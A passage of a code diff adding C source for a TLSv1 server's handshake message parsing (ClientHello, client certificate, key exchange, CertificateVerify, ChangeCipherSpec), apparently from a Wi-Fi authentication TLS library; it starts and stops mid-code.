*pos); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + wpa_printf(MSG_DEBUG, "TLSv1: Received ClientHello"); + pos++; + /* uint24 length */ + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) + goto decode_error; + + /* body - ClientHello */ + + wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello", pos, len); + end = pos + len; + + /* ProtocolVersion client_version */ + if (end - pos < 2) + goto decode_error; + conn->client_version = WPA_GET_BE16(pos); + wpa_printf(MSG_DEBUG, "TLSv1: Client version %d.%d", + conn->client_version >> 8, conn->client_version & 0xff); + if (conn->client_version < TLS_VERSION_1) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in " + "ClientHello %u.%u", + conn->client_version >> 8, + conn->client_version & 0xff); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_PROTOCOL_VERSION); + return -1; + } + pos += 2; + + if (TLS_VERSION == TLS_VERSION_1) + conn->rl.tls_version = TLS_VERSION_1; +#ifdef CONFIG_TLSV12 + else if (conn->client_version >= TLS_VERSION_1_2) + conn->rl.tls_version = TLS_VERSION_1_2; +#endif /* CONFIG_TLSV12 */ + else if (conn->client_version > TLS_VERSION_1_1) + conn->rl.tls_version = TLS_VERSION_1_1; + else + conn->rl.tls_version = conn->client_version; + wpa_printf(MSG_DEBUG, "TLSv1: Using TLS v%s", + tls_version_str(conn->rl.tls_version)); + + /* Random random */ + if (end - pos < TLS_RANDOM_LEN) + goto decode_error; + + os_memcpy(conn->client_random, pos, TLS_RANDOM_LEN); + pos += TLS_RANDOM_LEN; + wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random", + conn->client_random, TLS_RANDOM_LEN); + + /* SessionID session_id */ + if (end - pos < 1) + goto decode_error; + if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN) + goto decode_error; + wpa_hexdump(MSG_MSGDUMP, "TLSv1: client session_id", pos + 1, *pos); + pos += 1 + *pos; + /* TODO: add support for session resumption */ + + /* CipherSuite cipher_suites<2..2^16-1> */ + if (end - pos < 2) + goto decode_error; + num_suites = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < num_suites) + goto decode_error; + wpa_hexdump(MSG_MSGDUMP, "TLSv1: client cipher suites", + pos, num_suites); + if (num_suites & 1) + goto decode_error; + num_suites /= 2; + + cipher_suite = 0; + for (i = 0; !cipher_suite && i < conn->num_cipher_suites; i++) { + c = pos; + for (j = 0; j < num_suites; j++) { + u16 tmp = WPA_GET_BE16(c); + c += 2; + if (!cipher_suite && tmp == conn->cipher_suites[i]) { + cipher_suite = tmp; + break; + } + } + } + pos += num_suites * 2; + if (!cipher_suite) { + wpa_printf(MSG_INFO, "TLSv1: No supported cipher suite " + "available"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_ILLEGAL_PARAMETER); + return -1; + } + + if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for " + "record layer"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + conn->cipher_suite = cipher_suite; + + /* CompressionMethod compression_methods<1..2^8-1> */ + if (end - pos < 1) + goto decode_error; + num_suites = *pos++; + if (end - pos < num_suites) + goto decode_error; + wpa_hexdump(MSG_MSGDUMP, "TLSv1: client compression_methods", + pos, num_suites); + compr_null_found = 0; + for (i = 0; i < num_suites; i++) { + if (*pos++ == TLS_COMPRESSION_NULL) + compr_null_found = 1; + } + if (!compr_null_found) { + wpa_printf(MSG_INFO, "TLSv1: Client does not accept NULL " + "compression"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_ILLEGAL_PARAMETER); + return -1; + } + + if (end - pos == 1) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected extra octet in the " + "end of ClientHello: 0x%02x", *pos); + goto decode_error; + } + + if (end - pos >= 2) { + /* Extension client_hello_extension_list<0..2^16-1> */ + ext_len = WPA_GET_BE16(pos); + pos += 2; + + wpa_printf(MSG_DEBUG, "TLSv1: %u bytes of ClientHello " + "extensions", ext_len); + if (end - pos != ext_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid ClientHello " + "extension list length %u (expected %u)", + ext_len, (unsigned int) (end - pos)); + goto decode_error; + } + + /* + * struct { + * ExtensionType extension_type (0..65535) + * opaque extension_data<0..2^16-1> + * } Extension; + */ + + while (pos < end) { + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid " + "extension_type field"); + goto decode_error; + } + + ext_type = WPA_GET_BE16(pos); + pos += 2; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid " + "extension_data length field"); + goto decode_error; + } + + ext_len = WPA_GET_BE16(pos); + pos += 2; + + if (end - pos < ext_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid " + "extension_data field"); + goto decode_error; + } + + wpa_printf(MSG_DEBUG, "TLSv1: ClientHello Extension " + "type %u", ext_type); + wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello " + "Extension data", pos, ext_len); + + if (ext_type == TLS_EXT_SESSION_TICKET) { + os_free(conn->session_ticket); + conn->session_ticket = os_malloc(ext_len); + if (conn->session_ticket) { + os_memcpy(conn->session_ticket, pos, + ext_len); + conn->session_ticket_len = ext_len; + } + } + + pos += ext_len; + } + } + + *in_len = end - in_data; + + wpa_printf(MSG_DEBUG, "TLSv1: ClientHello OK - proceed to " + "ServerHello"); + conn->state = SERVER_HELLO; + + return 0; + +decode_error: + wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ClientHello"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; +} + + +static int tls_process_certificate(struct tlsv1_server *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len, list_len, cert_len, idx; + u8 type; + struct x509_certificate *chain = NULL, *last = NULL, *cert; + int reason; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message " + "(len=%lu)", (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + type = *pos++; + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message " + "length (len=%lu != left=%lu)", + (unsigned long) len, (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + if (type == TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) { + if (conn->verify_peer) { + wpa_printf(MSG_DEBUG, "TLSv1: Client did not include " + "Certificate"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + return tls_process_client_key_exchange(conn, ct, in_data, + in_len); + } + if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected Certificate/" + "ClientKeyExchange)", type); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, + "TLSv1: Received Certificate (certificate_list len %lu)", + (unsigned long) len); + + /* + * opaque ASN.1Cert<2^24-1>; + * + * struct { + * ASN.1Cert certificate_list<1..2^24-1>; + * } Certificate; + */ + + end = pos + len; + + if (end - pos < 3) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate " + "(left=%lu)", (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + list_len = WPA_GET_BE24(pos); + pos += 3; + + if ((size_t) (end - pos) != list_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list " + "length (len=%lu left=%lu)", + (unsigned long) list_len, + (unsigned long) (end - pos)); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + idx = 0; + while (pos < end) { + if (end - pos < 3) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " + "certificate_list"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + x509_certificate_chain_free(chain); + return -1; + } + + cert_len = WPA_GET_BE24(pos); + pos += 3; + + if ((size_t) (end - pos) < cert_len) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate " + "length (len=%lu left=%lu)", + (unsigned long) cert_len, + (unsigned long) (end - pos)); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + x509_certificate_chain_free(chain); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)", + (unsigned long) idx, (unsigned long) cert_len); + + if (idx == 0) { + crypto_public_key_free(conn->client_rsa_key); + if (tls_parse_cert(pos, cert_len, + &conn->client_rsa_key)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " + "the certificate"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_BAD_CERTIFICATE); + x509_certificate_chain_free(chain); + return -1; + } + } + + cert = x509_certificate_parse(pos, cert_len); + if (cert == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " + "the certificate"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_BAD_CERTIFICATE); + x509_certificate_chain_free(chain); + return -1; + } + + if (last == NULL) + chain = cert; + else + last->next = cert; + last = cert; + + idx++; + pos += cert_len; + } + + if (x509_certificate_chain_validate(conn->cred->trusted_certs, chain, + &reason, 0) < 0) { + int tls_reason; + wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain " + "validation failed (reason=%d)", reason); + switch (reason) { + case X509_VALIDATE_BAD_CERTIFICATE: + tls_reason = TLS_ALERT_BAD_CERTIFICATE; + break; + case X509_VALIDATE_UNSUPPORTED_CERTIFICATE: + tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE; + break; + case X509_VALIDATE_CERTIFICATE_REVOKED: + tls_reason = TLS_ALERT_CERTIFICATE_REVOKED; + break; + case X509_VALIDATE_CERTIFICATE_EXPIRED: + tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED; + break; + case X509_VALIDATE_CERTIFICATE_UNKNOWN: + tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN; + break; + case X509_VALIDATE_UNKNOWN_CA: + tls_reason = TLS_ALERT_UNKNOWN_CA; + break; + default: + tls_reason = TLS_ALERT_BAD_CERTIFICATE; + break; + } + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason); + x509_certificate_chain_free(chain); + return -1; + } + + x509_certificate_chain_free(chain); + + *in_len = end - in_data; + + conn->state = CLIENT_KEY_EXCHANGE; + + return 0; +} + + +static int tls_process_client_key_exchange_rsa( + struct tlsv1_server *conn, const u8 *pos, const u8 *end) +{ + u8 *out; + size_t outlen, outbuflen; + u16 encr_len; + int res; + int use_random = 0; + + if (end - pos < 2) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + encr_len = WPA_GET_BE16(pos); + pos += 2; + if (pos + encr_len > end) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid ClientKeyExchange " + "format: encr_len=%u left=%u", + encr_len, (unsigned int) (end - pos)); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + outbuflen = outlen = end - pos; + out = os_malloc(outlen >= TLS_PRE_MASTER_SECRET_LEN ? + outlen : TLS_PRE_MASTER_SECRET_LEN); + if (out == NULL) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + /* + * struct { + * ProtocolVersion client_version; + * opaque random[46]; + * } PreMasterSecret; + * + * struct { + * public-key-encrypted PreMasterSecret pre_master_secret; + * } EncryptedPreMasterSecret; + */ + + /* + * Note: To avoid Bleichenbacher attack, we do not report decryption or + * parsing errors from EncryptedPreMasterSecret processing to the + * client. Instead, a random pre-master secret is used to force the + * handshake to fail. + */ + + if (crypto_private_key_decrypt_pkcs1_v15(conn->cred->key, + pos, encr_len, + out, &outlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt " + "PreMasterSecret (encr_len=%u outlen=%lu)", + encr_len, (unsigned long) outlen); + use_random = 1; + } + + if (!use_random && outlen != TLS_PRE_MASTER_SECRET_LEN) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected PreMasterSecret " + "length %lu", (unsigned long) outlen); + use_random = 1; + } + + if (!use_random && WPA_GET_BE16(out) != conn->client_version) { + wpa_printf(MSG_DEBUG, "TLSv1: Client version in " + "ClientKeyExchange does not match with version in " + "ClientHello"); + use_random = 1; + } + + if (use_random) { + wpa_printf(MSG_DEBUG, "TLSv1: Using random premaster secret " + "to avoid revealing information about private key"); + outlen = TLS_PRE_MASTER_SECRET_LEN; + if (os_get_random(out, outlen)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " + "data"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + os_free(out); + return -1; + } + } + + res = tlsv1_server_derive_keys(conn, out, outlen); + + /* Clear the pre-master secret since it is not needed anymore */ + os_memset(out, 0, outbuflen); + os_free(out); + + if (res) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + return 0; +} + + +static int tls_process_client_key_exchange_dh_anon( + struct tlsv1_server *conn, const u8 *pos, const u8 *end) +{ + const u8 *dh_yc; + u16 dh_yc_len; + u8 *shared; + size_t shared_len; + int res; + + /* + * struct { + * select (PublicValueEncoding) { + * case implicit: struct { }; + * case explicit: opaque dh_Yc<1..2^16-1>; + * } dh_public; + * } ClientDiffieHellmanPublic; + */ + + wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientDiffieHellmanPublic", + pos, end - pos); + + if (end == pos) { + wpa_printf(MSG_DEBUG, "TLSv1: Implicit public value encoding " + "not supported"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + if (end - pos < 3) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid client public value " + "length"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + dh_yc_len = WPA_GET_BE16(pos); + dh_yc = pos + 2; + + if (dh_yc + dh_yc_len > end) { + wpa_printf(MSG_DEBUG, "TLSv1: Client public value overflow " + "(length %d)", dh_yc_len); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)", + dh_yc, dh_yc_len); + + if (conn->cred == NULL || conn->cred->dh_p == NULL || + conn->dh_secret == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + shared_len = conn->cred->dh_p_len; + shared = os_malloc(shared_len); + if (shared == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for " + "DH"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + /* shared = Yc^secret mod p */ + if (crypto_mod_exp(dh_yc, dh_yc_len, conn->dh_secret, + conn->dh_secret_len, + conn->cred->dh_p, conn->cred->dh_p_len, + shared, &shared_len)) { + os_free(shared); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange", + shared, shared_len); + + os_memset(conn->dh_secret, 0, conn->dh_secret_len); + os_free(conn->dh_secret); + conn->dh_secret = NULL; + + res = tlsv1_server_derive_keys(conn, shared, shared_len); + + /* Clear the pre-master secret since it is not needed anymore */ + os_memset(shared, 0, shared_len); + os_free(shared); + + if (res) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + return 0; +} + + +static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len; + u8 type; + tls_key_exchange keyx; + const struct tls_cipher_suite *suite; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short ClientKeyExchange " + "(Left=%lu)", (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + type = *pos++; + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ClientKeyExchange " + "length (len=%lu != left=%lu)", + (unsigned long) len, (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + end = pos + len; + + if (type != TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected ClientKeyExchange)", type); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received ClientKeyExchange"); + + wpa_hexdump(MSG_DEBUG, "TLSv1: ClientKeyExchange", pos, len); + + suite = tls_get_cipher_suite(conn->rl.cipher_suite); + if (suite == NULL) + keyx = TLS_KEY_X_NULL; + else + keyx = suite->key_exchange; + + if (keyx == TLS_KEY_X_DH_anon && + tls_process_client_key_exchange_dh_anon(conn, pos, end) < 0) + return -1; + + if (keyx != TLS_KEY_X_DH_anon && + tls_process_client_key_exchange_rsa(conn, pos, end) < 0) + return -1; + + *in_len = end - in_data; + + conn->state = CERTIFICATE_VERIFY; + + return 0; +} + + +static int tls_process_certificate_verify(struct tlsv1_server *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len; + u8 type; + size_t hlen, buflen; + u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos, *buf; + enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA; + u16 slen; + + if (ct == TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { + if (conn->verify_peer) { + wpa_printf(MSG_DEBUG, "TLSv1: Client did not include " + "CertificateVerify"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + return tls_process_change_cipher_spec(conn, ct, in_data, + in_len); + } + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " + "received content type 0x%x", ct); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateVerify " + "message (len=%lu)", (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + type = *pos++; + len = WPA_GET_BE24(pos); + pos += 3; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected CertificateVerify " + "message length (len=%lu != left=%lu)", + (unsigned long) len, (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + end = pos + len; + + if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY) { + wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " + "message %d (expected CertificateVerify)", type); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateVerify"); + + /* + * struct { + * Signature signature; + * } CertificateVerify; + */ + + hpos = hash; + +#ifdef CONFIG_TLSV12 + if (conn->rl.tls_version == TLS_VERSION_1_2) { + /* + * RFC 5246, 4.7: + * TLS v1.2 adds explicit indication of the used signature and + * hash algorithms. + * + * struct { + * HashAlgorithm hash; + * SignatureAlgorithm signature; + * } SignatureAndHashAlgorithm; + */ + if (end - pos < 2) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + if (pos[0] != TLS_HASH_ALG_SHA256 || + pos[1] != TLS_SIGN_ALG_RSA) { + wpa_printf(MSG_DEBUG, "TLSv1.2: Unsupported hash(%u)/" + "signature(%u) algorithm", + pos[0], pos[1]); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + pos += 2; + + hlen = SHA256_MAC_LEN; + if (conn->verify.sha256_cert == NULL || + crypto_hash_finish(conn->verify.sha256_cert, hpos, &hlen) < + 0) { + conn->verify.sha256_cert = NULL; + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha256_cert = NULL; + } else { +#endif /* CONFIG_TLSV12 */ + + if (alg == SIGN_ALG_RSA) { + hlen = MD5_MAC_LEN; + if (conn->verify.md5_cert == NULL || + crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0) + { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.md5_cert = NULL; + crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL); + conn->verify.sha1_cert = NULL; + return -1; + } + hpos += MD5_MAC_LEN; + } else + crypto_hash_finish(conn->verify.md5_cert, NULL, NULL); + + conn->verify.md5_cert = NULL; + hlen = SHA1_MAC_LEN; + if (conn->verify.sha1_cert == NULL || + crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) { + conn->verify.sha1_cert = NULL; + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha1_cert = NULL; + + if (alg == SIGN_ALG_RSA) + hlen += MD5_MAC_LEN; + +#ifdef CONFIG_TLSV12 + } +#endif /* CONFIG_TLSV12 */ + + wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen); + + if (end - pos < 2) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + slen = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < slen) { + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + wpa_hexdump(MSG_MSGDUMP, "TLSv1: Signature", pos, end - pos); + if (conn->client_rsa_key == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: No client public key to verify " + "signature"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + buflen = end - pos; + buf = os_malloc(end - pos); + if (crypto_public_key_decrypt_pkcs1(conn->client_rsa_key, + pos, end - pos, buf, &buflen) < 0) + { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt signature"); + os_free(buf); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECRYPT_ERROR); + return -1; + } + + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Decrypted Signature", + buf, buflen); + +#ifdef CONFIG_TLSV12 + if (conn->rl.tls_version >= TLS_VERSION_1_2) { + /* + * RFC 3447, A.2.4 RSASSA-PKCS1-v1_5 + * + * DigestInfo ::= SEQUENCE { + * digestAlgorithm DigestAlgorithm, + * digest OCTET STRING + * } + * + * SHA-256 OID: sha256WithRSAEncryption ::= {pkcs-1 11} + * + * DER encoded DigestInfo for SHA256 per RFC 3447: + * 30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 || + * H + */ + if (buflen >= 19 + 32 && + os_memcmp(buf, "\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01" + "\x65\x03\x04\x02\x01\x05\x00\x04\x20", 19) == 0) + { + wpa_printf(MSG_DEBUG, "TLSv1.2: DigestAlgorithn = " + "SHA-256"); + os_memmove(buf, buf + 19, buflen - 19); + buflen -= 19; + } else { + wpa_printf(MSG_DEBUG, "TLSv1.2: Unrecognized " + "DigestInfo"); + os_free(buf); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECRYPT_ERROR); + return -1; + } + } +#endif /* CONFIG_TLSV12 */ + + if (buflen != hlen || os_memcmp(buf, hash, buflen) != 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Invalid Signature in " + "CertificateVerify - did not match with calculated " + "hash"); + os_free(buf); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECRYPT_ERROR); + return -1; + } + + os_free(buf); + + *in_len = end - in_data; + + conn->state = CHANGE_CIPHER_SPEC; + + return 0; +} + + +static int tls_process_change_cipher_spec(struct tlsv1_server *conn, + u8 ct, const u8 *in_data, + size_t *in_len) +{ + const u8 *pos; + size_t left; + + if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " + "received content type 0x%x", ct); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 1) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + if (*pos != TLS_CHANGE_CIPHER_SPEC) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " + "received data 0x%x", *pos); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec"); + if (tlsv1_record_change_read_cipher(&conn->rl) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher " + "for record layer"); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + *in_len = pos + 1 - in_data; + + conn->state = CLIENT_FINISHED; + + return 0; +} + + +static int tls_process_client_finished(struct tlsv1_server *conn, u8 ct, + const u8 *in_data, size_t *in_len) +{ + const u8 *pos, *end; + size_t left, len, hlen; + u8 verify_data[TLS_VERIFY_DATA_LEN]; + u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; + + if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; " + "received content type 0x%x", ct); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + pos = in_data; + left = *in_len; + + if (left < 4) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for " + "Finished", + (unsigned long) left); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_DECODE_ERROR); + return -1; + } + + if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) { + wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received " + "type 0x%x", pos[0]); + tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_UNEXPECTED_MESSAGE); + return -1; + } + + len = WPA_GET_BE24(pos + 1); + + pos += 4; + left -= 4; + + if (len > left) { + wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished " + "(len=%lu > left=%lu)", + 